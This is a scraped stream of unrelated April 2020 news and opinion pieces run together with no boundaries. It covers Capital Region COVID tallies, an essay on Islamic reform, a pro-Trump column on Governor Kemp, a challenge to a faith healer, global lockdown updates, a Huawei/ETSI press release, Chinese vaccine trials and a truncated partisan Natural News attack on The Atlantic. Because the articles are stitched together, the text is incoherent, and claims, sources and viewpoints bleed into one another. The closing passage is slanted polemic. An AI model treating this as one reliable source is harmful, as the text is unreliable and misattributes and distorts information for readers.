2001. According to a statement by the state Division of Budget, New York states economy will lose $243 billion over the course of the full recovery, which is equal to 14 percent of the states Gross Domestic Product. Recovery to "pre-COVID level" would take three years, to the first quarter of 2023, the review said. Read more ___ 6:19 a.m.: Should K-12 students be graded during COVID-19? While school districts in the Capital Region started transitioning to remote instruction in early April, many students still cannot access the internet, and debate is unfolding over how students should be graded during the COVID-19 pandemic. The state Education Department has exempted students from standardized tests and Regents exams, but has left it up to districts to decide how grade point averages are calculated, whether the third- and fourth-term scores will be included on transcripts, or whether students can be held back for incomplete work during the statewide lockdowns. Variations in grading among different schools in the Capital Region are drawing criticism from some parents, students, and educational equity advocates, who say all districts should adopt "no harm" policies that ensure no student can be penalized for circumstances beyond their control. Read more ___ Monday: Known case counts, hospitalizations, recoveries and deaths Albany County: 937 cases, 43 hospitalized, 6 in ICU, 478 recovered, 36 deaths Columbia County: 154 cases, 15 hospitalized, 4 in ICU, 81 recovered, 13 deaths Fulton County: 62 cases, 3 deaths Greene County: 119 cases, 41 active, 78 resolved, 5 hospitalized, 5 deaths Montgomery County: 49 cases, 34 recovered, 2 under medical care, 1 death Rensselaer County: 262 cases, 146 recovered, 14 hospitalized, 5 in ICU, 13 deaths Saratoga County: 331 cases, 9 hospitalized, 122 recoveries as of April 14, 12 deaths Schenectady County: 445 cases, 22 hospitalized in the county (regardless of the patient's county of residence), 258 recoveries, 22 deaths Schoharie County: 30 cases, 4 hospitalized, 26 recovered, 1 death as of April 24 Warren County: 128 cases, 4 hospitalized, 76 recovered, 9 deaths Washington County: 117 cases, 53 recovered, 2 deaths ___ Monday: Schenectady site tests over 140 Schenectady County's first mobile test site saw 146 residents on Monday, according to Ellis Hospital. The hospital will be testing against on Tuesday from 9 a.m. to 5 p.m. at Mont Pleasant Middle School in Schenectady. ___ Monday: Rensselaer County: 10 more test positive Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The county now has 262 confirmed cases of the coronavirus. The county said nine more cases were cleared for recovery, bringing the county total to 146. Fourteen county residents are hospitalized with five in the ICU. There are about 630 residents in monitor quarantine. The county has seen 2,726 residents tested. There have been 13 deaths of county residents from COVID-19. ___ Monday: Virus emerges in more Rensselaer County care sites Rensselaer County officials are expressing concern over a rise in coronavirus cases at area nursing home and adult care facilities. On Monday, county operations director Rich Crist said new cases had been confirmed in the last day at two new facilities in the county: the Eddy Heritage House nursing home in Troy and the Living Resources site for developmentally disabled adults in Schodack. Living Resources had three residents and two staff members test positive for the novel coronavirus, he said. Heritage House had two staff members test positive for the virus. Theyre kind of growing a little bit, and that makes us worried, Crist said, referring to cases in adult-care facilities. ___ Monday: Schenectady County reports 445 cases That's up from 426 reported Sunday. Of those, 258 have recovered. Meanwhile, 22 people are hospitalized with the novel coronavirus in the county, including both residents and non-residents. The county's known death toll from the virus stands at 22. ___ Monday: Saratoga County reports 331 cases That's up from 327 reported Sunday. Nine residents are currently hospitalized with the illness. The known death toll from the novel coronavirus stands at 12. The county also announced it will be hosting a Facebook Live event this Wednesday at 10 a.m. to answer questions from residents related to COVID-19. The hour-long event will be hosted on the Saratoga County Office of Emergency Services Facebook page and will feature Peter Bardunias, senior vice president, community advancement, Capital Region Chamber; Ken Slentz, superintendent, Ballston Spa Central School District; Sandra Cross, director, Saratoga County Office for the Aging. Community members can submit questions in advance or view the stream here. ___ Monday: Albany County reports four more deaths from COVID-19 for 36 total Four more Albany County residents have died after falling ill with the novel coronavirus, County Executive Daniel McCoy announced Monday. The county's known death toll from the virus now stands at 36. The recent deaths included a man in his 70s, two women in their 80s, and a woman in her 90s all with underlying health conditions. "Yes, they had underlying health issues, but it still's tough," McCoy said. "It's still tough. They're our residents. They're our family. They're the backbone of our community. And so my heart and prayers go out to the families and to everyone that's going through this, because times have changed and we have to adapt to the new change in life and we have to figure out how to reopen with all this going on." Read more ___ Read more updates from Monday Chandigarh, April 28 : At least 30 people were arrested on Tuesday in a village near Haryana's Ambala town on charges of attacking healthcare employees, police said. A day earlier a group of people of Chandpura village allegedly tried to disrupt the last rites of a woman who was suspected to have succumbed to COVID-19. The villagers feared that the virus would spread in the area with her cremation. In retaliation, they pelted policemen and health workers with stones and bricks. In the scuffle, a few policemen and the Deputy Superintendent of Police were injured. Later the crowd was pacified with the assurance that there was risk of the virus spread, a police officer said. The woman died at the Civil Hospital in Ambala Cantonment. The suspects have been booked under the amended Epidemic Diseases Act. The Covid-19 pandemic looks certain to change many aspects of everyday life across the Muslim world, but could it also quell religious fundamentalism and encourage reforms The live scenes from the Kaaba broadcast by Saudi satellite television were stunning. The imam of the Grand Mosque, Islams holiest site, in Mecca was praying to an empty courtyard amid the coronavirus lockdown in the country. Islams second most sacred place of worship, the Al-Masjid Al-Nabawi, a mosque in Medina in Saudi Arabia, was also nearly deserted as the imam led night prayer on the first day of the Muslim Holy month of Ramadan. In Jerusalem, Palestinian religious authorities ordered the Al-Aqsa Mosque compound, one of the Holy places for Muslims, to be closed during Ramadan prayers. Authorities across the Muslim world also ordered mosques to shut their doors to worshippers in line with the confinement imposed in an effort to stymie the era-defining pandemic. As millions of Muslims worldwide started their Holy fasting month on 24 April, images from empty mosques during prayers painted a stark portrait of this moment of spirituality along with other changes in ways of life affected by the coronavirus. For the first time, a common crisis across the Muslim world with profound political, economic and cultural impacts could usher in wide-ranging religious changes that could lead to much-sought-after Islamic reforms. Since the outbreak of the coronavirus pandemic, Muslim societies have been grappling with its social and cultural impacts, such as enforced separation, as part of efforts to curb the spread of the disease. In societies characterised by often extended families, tribal ties, and congested dwellings, socialising is almost sacred and is encouraged by the teachings of the Quran and the Prophet Mohamed. Concerns about the devastating economic impacts of the lockdown have also overshadowed public reactions. Whether or not the changes mark a permanent break from Muslim popular culture far more drastic than many previous examples from history remains to be seen, but they will certainly be an element testing the response to change. More important, however, are the religious consequences of the pandemic, which are expected to force a shift in the collective minds of Muslims and their spiritual attitudes and behaviour. Before Ramadan started, many Muslim countries imposed restrictions on congregational prayers in mosques, which pious Muslims believe are essential to instill a sense of being in the presence of God and connection with other believers. Many Muslim nations also stopped the Friday prayers that Muslim men are duty bound to perform collectively in a mosque along with a sermon to be delivered by an imam. While the decision to suspend Friday prayers on a global scale was extraordinary, ordering them to skip the daily collective prayers remains challenging for many pious Muslims. Most importantly, Saudi Arabia has abruptly suspended all visas for the umra, the year-round minor pilgrimage to Mecca which peaks in Ramadan with the arrival of millions of Muslims in the Holy city. With warnings that the coronavirus will likely stay for some time to come, the Saudi authorities are reportedly studying the possibility of cancelling the hajj, or pilgrimage, which is set for late July this year, for the first time in modern history. The hajj is a ritual required of all able-bodied Muslims at least once in their lives, and it draws millions of visitors to Mecca. The Saudi Minister of the Hajj has urged Muslims to hold off booking trips this year, suggesting that the annual season may be called off if the coronavirus crisis persists. Significantly, the orders for the Holy mosques shuttering came from Saudi Arabias highest political authority, King Salman. The monarch, who holds the title of the Custodian of the Two Holy Mosques, said he was acting on the principles of Islamic Sharia Law, which calls for the preservation of souls. In many Muslim countries, the order to close mosques and suspend prayers came from governments, with influential fundamentalist clerics and the religious establishments remaining in some cases opposed to the moves and claiming that religion comes above anything else. The sharp division between governments struggling to enforce social-distancing rules to fight the coronavirus and hardline clerics underscores the ways in which the coronavirus pandemic could have far-ranging consequences on Muslims. The unprecedented measures received backing from some influential religious authorities, however, apparently because they fall in line with their own moderate teachings. In Egypt, Al-Azhar, the worlds highest seat of Sunni Islamic learning, backed the government in halting Friday prayers and shutting mosques for congregational rituals. Al-Azhars Council of Senior Scholars decreed that governments have the right to shut mosques to protect people from the coronavirus until the end of the epidemic. In Iraq, Grand Ayatollah Ali Al-Sistani, who is revered by millions of Shia Muslims worldwide, decreed that a Muslim can waive Ramadan fasting if he or she remains in fear of catching the coronavirus. While many of these measures are seen as a response to the coronavirus outbreak, looking at them in a broader perspective shows a powerful stance by Muslim governments against Islamism and religious fundamentalism. In many Muslim countries, clerics and hardline groups who have refused to close mosques and stop allowing religious congregations have continued to downplay the coronavirus threat to their communities. Some religious fundamentalists have even revived mediaeval superstitions or plots by enemies as being behind the coronavirus outbreak in the Muslim world. As a result, the Muslim governments resolve to change worshippers behaviour in order to counter the spread of the pandemic is a defining moment that involves key political and cultural choices. In a broader Islamic context, these bold measures are setting a precedent in the Muslim world that could shift the focus back to much-discussed religious reform in Islam over recent decades. Since the rise of religious fundamentalism in the 1970s, particularly after the Islamic Revolution in Iran and the beginning of the Islamic jihad against the Soviet occupation of Afghanistan, intellectuals in the Muslim world have spoken up about the need to reform Islamic discourse. The debate has been reinforced in recent years after the rise of terrorist groups such as Al-Qaeda and the Islamic State group (IS) in Iraq and Syria in a push to protect Muslim societies from violence and immunise their populations against extremism. The Arab Spring Revolutions in 2011 also triggered the debate about Islamism and what was seen by mainstream liberals and secularists as attempts by Islamist political parties to infiltrate state structures by exploiting the democratic contestations and elections. A deeper look into the outcomes of the Arab Spring and the recent waves of uprisings in several Arab countries shows a slowing trajectory for Islamism and a diminishing role for its political groups. Like every challenge, the coronavirus crisis has provided an opportunity for Muslim societies to reassess their cultures and to pursue the battle for modernity and religious revival. In many ways, many of the lockdown steps are seen as setting a future agenda for challenging the status quo that could include concrete actions and more commitments to a long-overdue process of islah, or Islamic reform. In a landmark decision, Saudi Arabia recently eliminated flogging, a form of corporal punishment which has been criticised by human-rights groups as part of an unfair judicial system. The authorities said the elimination of flogging as a punishment was the latest in a series of steps taken by the Kingdom to modernise its judicial system, which is based on Islamic Sharia Law and jurisprudence. Another reason that could also have promoted the unprecedented measures towards sacred events and holy places during the current crisis is the fear that Islamist political groups may seek to press their agendas by exploiting panic and confusion among people of faith resulting from the coronavirus pandemic. In Pakistan, for example, the refusal by hardline clerics to shun collective prayers has forced the government to back down, raising doubts about Pakistans resolve to fight the pandemic. Islamist movements across the Muslim world sought to make a comeback following the defeat of the Arab armies in the 1967 War with Israel that shook the Arab societies and exposed the vulnerability of their political systems. For Muslim nations, the present coronavirus pandemic is a world-shattering event whose far-ranging consequences can only begin to be imagined. These impacts will likely not only shake Muslim societies, but also transform them, possibly forever. Decisions to halt group prayers on a temporary basis, to suspend the hajj, and to abolish religiously condoned punishments were unthinkable a few years ago, and they will certainly result in wide-ranging social and cultural changes. These changes will likely directly and indirectly lead to religious reforms in ways that will only become apparent later. A more open and more free society will then place Muslims on a new and forthcoming path to a wider Islamic renaissance. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly under headline: United we stand Short link: Did we see a serious political stumble by President Trump in his spat with Georgia Gov. Brian Kemp last week? While some may wonder, he seems over all to be handling the coronavirus crisis deftly enough. Hes been giving due deference to the medical brain trust of Drs. Anthony Fauci and Deborah Birx -- perhaps too much, some fear. At the same time, hes hammering away at the need to limit the brutal economic consequences of the lockdown as soon as possible. All this while parrying relentless attacks from the press and, of course, from an opposition party desperate to recapture the White House. All of which gave us the phased reopening guidelines from the Fauci-Birx team, announced on April 17. Recall, by the way, that the President a couple of weeks earlier had expressed the hope that the lockdown could end around Easter Sunday, April 12. The usual media hysteria greeted that idea, so Trump followed up by clarifying, as if clarification was needed, that the hope was just that, not a firm date. The appearance of the guidelines gave proof that Trump was continuing to heed the advice of Dr. Fauci, et al. Only three days after the guidelines dropped, Gov. Kemp announced that many businesses in Georgia, especially smaller businesses like spas, gyms, hair salons, and barber shops, could start reopening as soon as Friday, April 23. In doing so, he neglected to cross-check his plans with the Fauci-Birx team. His announcement was certainly consistent, however, with Trumps repeated desire that the cure -- i.e., devastation of the nations economy -- not be worse than the disease. Kemps explanation of his plan was a model of clarity and of respect for the common sense of his constituents: The entities that I am reopening are not reopening for 'business as usual.' Each of these entities will be subject to specific restrictions, including adherence to Minimum Basic Operations, social distancing, and regular sanitation. Minimum Basic Operations includes, but is not limited to, screening workers for fever and respiratory illness, enhancing workplace sanitation, wearing masks and gloves if appropriate, separating workspaces by at least six feet, teleworking where at all possible, and implementing staggered shifts. Common sense or no, the announcement brought the typical eruption of alarm in the news media, but with was no apparent effort to inform us of what jot or tittle of the Fauci-Birx guidelines that Kemp had supposedly violated. It was just enough that they could loudly call on Trump to say what he thought about it. At first the President sounded cautiously welcoming, but then he turned sharply critical. Surprisingly sharp, and even personal, saying at his April 22 press briefing (last Thursday): I wasnt happy with it. And I wasnt happy with Brian Kemp. I wasnt at all happy, because -- and I could have done something about it if I wanted to, but Im saying let the governors do it. But I wasnt happy with Brian Kemp... I want them to open, and I want him to open as soon as possible. And I want the state to open. But I wasnt happy with Brian Kemp. I will tell you that right now. Poor Kemp. Several other governors in the same week announced similar plans to start reopening their states, but by going first Kemp took the brunt of Trumps ire. Or did the fact that Kemp is a Republican have something to do with the tone of Trumps complaint? Possibly, I suppose. Colorados Gov. Jared Polis, for example, followed Kemps announcement almost immediately with one of his own. His reopening schedule was similar to Kemps but it drew nary a peep from either the media or the President. Polis is a Democrat. One suspects that a very cagey kind of politics is what we see being played out here, and the stakes could not be higher. Trump knows that, post-lockdown, the press will hold up every new COVID-19 death as proof that he reopened the economy too soon. Never mind that he devolved reopening decisions to the governors of each state, quite properly, too, in keeping with the Constitutions framework of federalism. He also knows that the new House select committee set up by Nancy Pelosi to investigate his handling of the COVID-19, while nominally bipartisan, is guaranteed to produce a steady stream of anti-Trump headlines from now until the election. With that as perspective, his harshness with a fellow Republican leader may merely be political shrewdness -- armoring up to ward off the coming onslaught. It gives him the ammo to point to his prioritizing of safety over politics. But has he miscalculated? Might his dump on Kemp lose him critical support from his heretofore loyal voting base? Angelo Codevilla thinks so. From his perch as professor of international relations at Boston University, Codevillas commentaries have earned him high regard in conservative intellectual circles. He worries that Trump may be forgetting the fundamental question of all politics, which is, who is on whose side? The political equation could not be clearer, says Codevilla. [T]he ruling class is on the side of enduring and growing control of ordinary peoples lives, to design a new normal, while ordinary people yearn to recover their freedoms. He fears that ordinary people -- which is to say, Trumps voters -- will perceive from the denunciation of Kemp that Trump has condemned or declined to defend people on his side while hinting broadly that he is acting against his own better judgment. He adds, these people dont belong to Trump. Its the other way around. Trump is the person for whom they voted because they expected that he would be on their side to protect them in situations like this. Whether prophetic or not, and only time will tell, Codevillas comments bring more insight into the brutally delicate balancing act that Trump is engaged in. Bill Dunne runs a communications consultancy based in Connecticut 28.04.2020 LISTEN I am challenging the founder of Omega Ministries, Apostle Suleman to demonstrate his so-called gift of healing under agreed medical and scientific conditions. I ask Suleman to heal a person with a confirmed case of COVID19 and get a thousand US dollars. This challenge has become necessary because Apostle Suleman has in a recent video urged the government of Nigeria to allow him and other pastors with the gift of healing into the isolation centers so that they could pray and heal those who have been infected by the virus. This request should not go unattended. Suleman specifically said that the gifted pastors could heal 18 out of 20 COVID19 patients. This is a reasonable number. Isnt it? And in a recent tweet, Apostle Suleman affirmed that (his) God was bigger than the coronavirus. This challenge is for Suleman to heal, not 2 or 3 persons, not 10 or 15 patients but one person with a viral infection. For too long, people from various religious traditions have claimed to have the ability to heal all kinds of diseases including malaria, diabetes, hepatitis, and HIV/AIDS. Self-acclaimed godmen and women have organized healing/prayer sessions where they supposedly got rid of illnesses through faith and prayers. This ability, if proven to be effective, could be an enormous resource at a time like this when the world to trying to contain a vicious pandemic, that is ravaging many parts of the world. Incidentally, faith healing in Africa has largely been taken for granted. Faith healing claims have gone unchallenged and untested. There has not been any major effort to hold African faith healers to account or get them to openly and publicly demonstrate the potency and efficacy of their healing propositions under scientific testing conditions. The outbreak of COVID19 offers an ample opportunity to realize this to test and confirm the much-avowed healing gifts and abilities of pastors. So I hereby challenge Apostle Suleman to prove that he can heal COVID19 patients through prayer. Apostle Suleman will get one thousand US dollars for any proven case of faith healing of a COVID19 patient under agreed scientific conditions. Suleman should agree to pray for a COVID19 patient from wherever he is since going into the isolation centers without face masks and personal protective equipment is not medically permitted and would violate existing laws and regulations. After all, Jesus performed miracles at a distance (John 4: 46-54). Didnt he? And also the Bible enjoins believers to pray in secret, and that the prayers would be answered (Matthew 6:6). So it is not necessary for Apostle Suleman or any gifted pastor to get into the isolation centers before they could pray and heal any COVID19 patient. Besides, Suleman should consider this a standing challenge, which he could accept after the vaccine has been discovered and regulations on managing COVID19 infection have been relaxed. Otherwise, I challenge Apostle Suleman to heal an HIV/AIDS patient through prayer and take home a thousand US dollars. HIV is another viral infection that is killing many people in Nigeria and across the world. Apostle Suleman should use this window to demonstrate under medical and scientific conditions his supernatural gift of healing. He should show Nigerians and the rest of the world that his God is truly bigger than a virus, whether it is COVID19 or HIV. I hope that Apostle Suleman or any other gifted pastor accepts this challenge and seizes this opportunity to demonstrate the potency and efficacy of faith healing. Leo Igwe holds a doctoral degree in religious studies from the University of Bayreuth and a master's degree in philosophy from the University of Calabar. He directs Advocacy for Alleged Witches and can be reached at [email protected] or [email protected] or tel 09039908664 Advertisement There have now been more than 3 million confirmed cases worldwide and 210,000 deaths, according to Johns Hopkins University. It previously took almost four months for the virus to infect 1 million people, and then only 12 days for that number to double as the virus was confirmed as a pandemic. But the latest milestone comes 13 days after it was announced 2 million people were infected. Last night, World Health Organisation chief Dr Tedros Adhanom Ghebreyesus said that 'the world should have listened' when it first sounded the alarm about coronavirus. As several countries see a slow down in their infection rates, Australia, Spain and Italy have announced they will begin easing lockdown restrictions. Australia recorded just seven new cases of coronavirus on Monday, as the country's chief medial officer shed light on the 'problematic' issue of when to allow pubs and restaurants to reopen. Chief Medical Officer Brendan Murphy said on Monday the government's 'suppression' strategy was working, but there was a major concern is that Australians would become complacent with social distancing as the curve continues to flatten. This morning beachgoers were seen enjoying their first swim after Bondi Beach reopened following a five week closure amid a spike in coronavirus cases. Children in Spain were let outside for the first time in six weeks on Sunday, as the government said under-14s can now go for an hour-long walk once a day. However, there was instant confusion as some locations in country are said to have 'opened their beaches', but technically only children who live less than one kilometre away can visit and they must not sunbathe or swim or have a picnic. Prime Minister Pedro Sanchez has announced that from May 2nd, adults will also be able to go out for walks and to practise individual sport 'as long as the favourable evolution of the pandemic' allowed it. In Italy where around 26,600 patients have died plans on easing some of its lockdown measures from next week, allowing factories and construction firms to reopen, and people to visit relatives living in the same region. Beachgoers were seen enjoying their first swim after Bondi Beach reopened this morning following a five-week closure as Australia saw a large drop in coronavirus cases. There have now been more than 3 million confirmed cases worldwide and 210,000 deaths, according to Johns Hopkins University Australia, Spain and Italy have announced they will begin easing lockdown restrictions as their countries saw a consistent reduction in the rates of infection Children in Spain were let outside for the first time in six weeks on Sunday, as the government said under-14s can now go for an hour-long walk once a day. Pictured: A family out walking in Ibiza In Italy where around 26,600 patients have died plans on easing some of its lockdown measures from next week, allowing factories and construction firms to reopen, and people to visit relatives living in the same region Prime Minister Giuseppe Conte announced on Sunday that from May 4 Italy would gradually lift its lockdown imposed some seven weeks ago. The country yesterday had its lowest jump in daily coronavirus cases for almost seven weeks The country yesterday had its lowest jump in daily coronavirus cases for almost seven weeks, with 1,739 new infections, down from 2,324 the day before. Deaths climbed by 333 on Monday, against 260 the day before. Prime Minister Giuseppe Conte announced on Sunday that from May 4 Italy would gradually lift its lockdown imposed some seven weeks ago. But it was a different story in the Netherlands, as police had to disperse large crowds gathered at Vroesenpark, Rotterdam to celebrate King's Day despite being told to stay indoors due to the Coronavirus outbreak. 'This promises to be a unique Kingsday, and mainly because I hope it will be the last Kingsday-at-home ever. Try to make the best of it,' the king said in a TV speech broadcast live from his home. Kingsday normally attracts millions of people to festivities in Amsterdam and throughout the Netherlands, but all public events have been cancelled until September 1 in an attempt to prevent a resurgence of coronavirus infections in the country. The Netherlands currently has 4,518 covid-19 deaths and 38,245 cases, the highest per capita in the whole of Europe. It was a different story in the Netherlands, as police had to disperse large crowds gathered at Vroesenpark, Rotterdam to celebrate King's Day despite being told to stay indoors due to the Coronavirus outbreak Kingsday normally attracts millions of people to festivities in Amsterdam and throughout the Netherlands, but all public events have been cancelled until September 1 in an attempt to prevent a resurgence of coronavirus infections in the country Sweden, whose softer approach to combating coronavirus has gained attention across the world, could have achieved herd immunity by May, the country's ambassador to the US has claimed Germany's strategy of extensive testing of the public has helped keep deaths in the country to 6,061, while the few commuters while travelling are practising social distancing. Pictured: Berlin Grass shoots have grown between cobblestones outside the Pantheon, in Piazza Monte Citorio square, Rome, due to reduced footfall because of the country's strict COVID-19 containment measures People in Jerusalem, Israel receive COVID-19 tests at a coronavirus testing booth in the city. Israel's health ministry reported 23 new coronavirus cases on Monday, bringing the total number in the country to 15,466. New global case totals announced yesterday afternoon found that Russia had reported 6,198 more confirmed cases, taking the number of infections in the country to 87,147 on Monday. The Russian coronavirus crisis response centre said that 50 more deaths of coronavirus patients were confirmed in the last 24 hours. In the number of confirmed Covid-19 cases, Russia surpassed the official figure mainland China where the virus originated towards the end of last year which reported the total of 82,830 cases on Monday. The United States is still seeing large increases in the number of infections, which stood at more than 1,000,000 on Monday night, with 56,677 deaths. The White House unveiled a 'blueprint' for states to scale up their testing, aimed at answering criticism that America's coronavirus testing has been too slow, and President Donald Trump tried to pivot toward a focus on 'reopening' the nation. President Trump said at a briefing that deaths in the United States from coronavirus could reach as high as 70,000, after putting the number at 60,000 several times earlier this month. The news came as World Health Organisation chief Dr Tedros Adhanom Ghebreyesus said that 'the world should have listened' when it first sounded the alarm about coronavirus. The United States is still seeing large increases in the number of infections, which stood at more than 1,000,000 on Monday night, with 56,677 confirmed deaths President Donald Trump said at a briefing that deaths in the United States from coronavirus could reach as high as 70,000, after putting the number at 60,000 several times earlier this month New York City has become the outbreak's epicenter worldwide. A UC Berkeley study estimates that the fatality rate there to be 0.5 percent, with more than a quarter of deaths among people under 65. Pictured: Bodies are moved from refrigerator truck morgues at Brookdale Hospital Medical Center The White House unveiled a 'blueprint' for states to scale up their testing, aimed at answering criticism that America's coronavirus testing has been too slow The parking lot of the Los Angeles Forum in Inglewood has become a huge drive-through testing center set up by the Los Angeles Fire Department (LAFD). California has controlled the outbreak of the virus to a much greater extent than New York Protesters across several Democrat state have been calling for the end to lockdown after being inpsired by President Trump to put pressure on governors. Pictured: Activists in California protesting Gov Gavin Newsom's stay-at-home orders He criticised countries which did not heed the WHO's advice about the outbreak early on, saying those that had were now coping better. The WHO has faced a string of high-profile criticisms over its handling of the virus, most notably from US President Donald Trump, who claimed the organisation has been 'China-centric'. And Japanese deputy prime minister Taro Aso recently noted that some people have started referring to the WHO as the 'Chinese Health Organization' because of what he described as its close ties to Beijing. 'We can only give advice to countries. We don't have any mandate to force countries to implement what we advise them,' Dr Ghebreyesus said yesterday. 'The world should have listened to the WHO carefully. We advised the whole world to implement a comprehensive public health approach - find, test, contact tracing and so on. 'The countries who followed that are in a better position than others.' Tedros Adhanom Ghebreyesus (pictured) said the UN agency had sounded the highest level of alarm over Covid-19 early on, but lamented that not all countries heeded its advice Japanese deputy prime minister Taro Aso recently noted that some people have started referring to the WHO as the 'Chinese Health Organization' because of what he described as its close ties to Beijing Dr Ghebreyesus insisted the WHO had warned about the dangers of the virus at an early stage, declaring it 'the highest level of emergency' on January 30 when there were only 82 registered cases outside China. But the organisation has been accused of mishandling the outbreak amid claims of pro-China bias. Earlier this month, Washington accused WHO of initially downplaying the coronavirus crisis, which has infected some 972,969 people in the US. Donald Trump launched an extraordinary attack on the agency, putting $500million in funding on hold while an investigation is conducted into its handling of the pandemic. Mr Trump singled out what he called the WHO's 'dangerous and costly decision' to argue against international travel bans to combat the pandemic. In a controversial tweet on January 14, the WHO said China had found no evidence of person to person transmission. It later praised China for its transparency about the virus. PR-Inside.com: 2020-04-28 04:23:55 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 387 Words ACCESSWIRE News Network888.952.4446 SHENZHEN, CHINA/ ACCESSWIRE / April 27, 2020 / On 17 April, ETSI officials from the Experiential Network Intelligence group (ISG ENI) gave a webinar entitled Artificial Intelligence for networks: understanding it through ETSI ENI use cases. This webinar attracted more than 150 online attendees including operators, vendors, research institutions, and international standards development organizations.The first speaker, Dr. Luca Pesando, TIM, Vice Chair of ETSI ENI ISG introduced the scope of the group, membership and architecture, and Dr. Yue Wang, Samsung, Secretary of the group, gave some insight about selected ENI Use Cases. They highlighted that ENI is meant to be a flexible general-purpose AI Engine able to interface with multiple types of Assisted System, by means of open interfaces and API. Assisted Systems from multiple standards body can be interfaced (e.g. 3GPP, IETF, MEF, ITU, Broadband Forum) being able to control Access, Transport, Core technologies, from infrastructure to service layer of the network operation and management, creating AI based automation loops.This webinar is available on the Brighttalk website.This webinar will be followed on 6 May at 5pm CEST by a second webinar entitled ETSI ENI Architecture: AI for robust and manageable systems and applications.You can register via the Brighttalk website.The ETSI Industry Specification Group Experiential Network Intelligence created in February 2017 focuses on network intelligence and now comprises 60 organizations. ENI identified viable Use Cases and consequently derived the main Functionalities the ENI Engine has to provide. Five categories of Use Cases have been identified: Infrastructure Management; Network Assurance; Network Operation; Service Orchestration and Management; Network Security.The ENI Engine aims to provide an easy way of user interaction, using a Human Like language to express the Intent of "What the User wants", leaving the network with the task to translate it into Policies and How the Network can realize it. Evolution of the Architecture is increasing the possibility for ENI architecture to be applied to multiple Use Cases as well as increasing Security by Design. ISG ENI is working closely with the technologies defined by other ETSI groups including Fifth Generation Fixed Network (F5G), IPv6 integration (IP6), Multi-access Edge Computing (MEC), Network Function Virtualization (NFV), Secure AI (SAI) and Zero touch network and Service Management (ZSM). More information on ENI can be found on the ETSI website.CONTACT:Fiona ChanSOURCE: Huawei The Committee eventually invited the media, after coming to a conclusion that more than a majority of the 1,800 bags were not fit for human consumption as they had been infested with weevils that freely moved about on each of the bags kept at the storehouse in the Secretariat, Ibadan. The weevils were clearly noticeable as each of the warehouses were opened. Television cameras were allowed to film the bags of rice just to show the clear reasons why the bags were being returned. China has permitted its fourth potential coronavirus vaccine to launch clinical trials as scientists around the globe race to find a cure for the disease. The testing for the new vaccine candidate has started today, a spokesperson from the China National Biotec Group told the press. Three other potential vaccines developed by Chinese researchers have entered their phase two clinical trials, according to reports. The announcement comes as Beijing's health official has claimed that China could have its first vaccination ready by September. The testing for the new vaccine candidate has started today, a spokesperson from China National Biotec Group said. The picture shows a medic preparing COVID-19 treatment China has permitted its fourth potential vaccine to launch clinical trials as scientists around the globe race to find a cure for the coronavirus. A researcher wearing a protective suit works on coronavirus samples at a laboratory in Guangzhou on April 18 The biopharmaceutical company recruited 32 volunteers to enter its phase-one trial for the inactivated vaccine today after being granted permission by the state's drug administration on Monday. The tests will be conducted in the Henan province of central China. The new vaccine candidate was developed by the Beijing branch of China National Biotec Group. The firm's Wuhan lab, which created the institute's first inactivated vaccination for the coronavirus, has been conducting trials since April 13. The company said that its newly-built factory will be able to produce 100 million doses of coronavirus vaccine once they are proven successful. In mid-March, China announced its first possible coronavirus vaccine developed by the country's top military bio-warfare expert. The Recombinant Novel Coronavirus Vaccine was successfully created following over a month of research, including the study of the vaccines for Ebola. The biopharmaceutical company recruited 32 volunteers to enter its phase one trial for the inactivated vaccine today after being granted permission by the state's drug administration on Monday. A researcher is seen working on samples at a laboratory in Guangzhou on April 18 'Vaccine is the strongest scientific weapon to end the coronavirus,' Chen Wei, the lead researcher told state broadcaster CCTV. 'If China is the first country to invent such weapons and have our own patents, it shows the progress of our science and the image of a giant country,' Chen added. Researchers from Sinovac Biotech, a Beijing-based private company, also started testing their COVID-19 vaccine candidate on April 16. It comes as a Chinese official has claimed that the country's first coronavirus vaccine could be ready in less than five months. Chen Wei, head of the research team, announced in March that the central government granted permission to start the trials. She is seen here working on the vaccine in Wuhan Dr Gao Fu, director-general of China's Centre for Disease Prevention and Control, said that China expects to have a successful vaccine candidate for the deadly disease by September. The health chief added that the vaccine would be used for emergencies, such as a new wave of the virus outbreak. Dr Gao told state broadcaster CGTN on Thursday: 'To develop a vaccine or specific drug, it always takes time. 'Because the vaccine will be used on healthy people, you wanna make sure the vaccine you're developing is safe and efficient.' The virologist also said that China is leading the world's efforts to develop vaccines for the contagion. The virologist Dr Gao Fu said that China is leading the world's efforts to develop vaccines for the contagion. The picture shows a volunteer holding a potential vaccine in China 'Maybe by September, we might have a vaccine to be used for emergencies. For example, if we have some emergency outbreak again.' Dr Gao added that the 'emergency vaccine', which would be in its second or third phase of clinical trials, could be used on medical workers before the general population. 'In my opinion, maybe we will get a vaccine for healthy people early next year,' the Chinese official stated. Health experts have suggested that the coronavirus is mutating at a slower rate than several other respiratory viruses, particularly the flu. The killer bug has already mutated close to 10 times, leading many to fear an even deadlier strain is around the corner. But scientists say the mutations do not vary much from the virus that originated in Wuhan, China, nor are they more severe. This means once a vaccine is readily available, it would protect people against both the original virus and mutations - and for several years. (Natural News) It seems the dumbest thing in the world: An American media outlet openly backing the kind of censorship imposed by authoritarian governments like China. But were living in strange times, indeed, because one of them far-Left magazine The Atlantic is now openly pushing for more speech censorship in the United States, while using the coronavirus pandemic as the reason. As noted by Breitbart News, The Atlantic isnt even trying to hide it. In fact, the magazine is quite obvious about it, and, apparently, quite proud. As surprising as it may sound, digital surveillance and speech control in the United States already show many similarities to what one finds in authoritarian states such as China, the magazine reported. Constitutional and cultural differences mean that the private sector, rather than the federal and state governments, currently takes the lead in these practices, which further values and addresses threats different from those in China. But the trend toward greater surveillance and speech control here, and toward the growing involvement of government, is undeniable and likely inexorable, the magazine continued. And check this out: In the great debate of the past two decades about freedom versus control of the network, China was largely right and the United States was largely wrong. Significant monitoring and speech control are inevitable components of a mature and flourishing Internet, and governments must play a large role in these practices to ensure that the internet is compatible with a societys norms and values, [emphasis added] the magazine sniffed. Is this for real? Or has The Atlantic been bought out by the ChiComs? Because lets remember that the mature and flourishing Internet was a U.S. military invention in the first place, and that China like the rest of the world merely adopted it after the fact. Unfortunately, its for real. And worse, the article was written by two law professors, one of whom is from Harvard University. So now, here we have a couple of law professors who are supposed to be well-versed in the U.S. Constitution (which includes the First Amendment) arguing in favor of a big tech-big / government collaboration 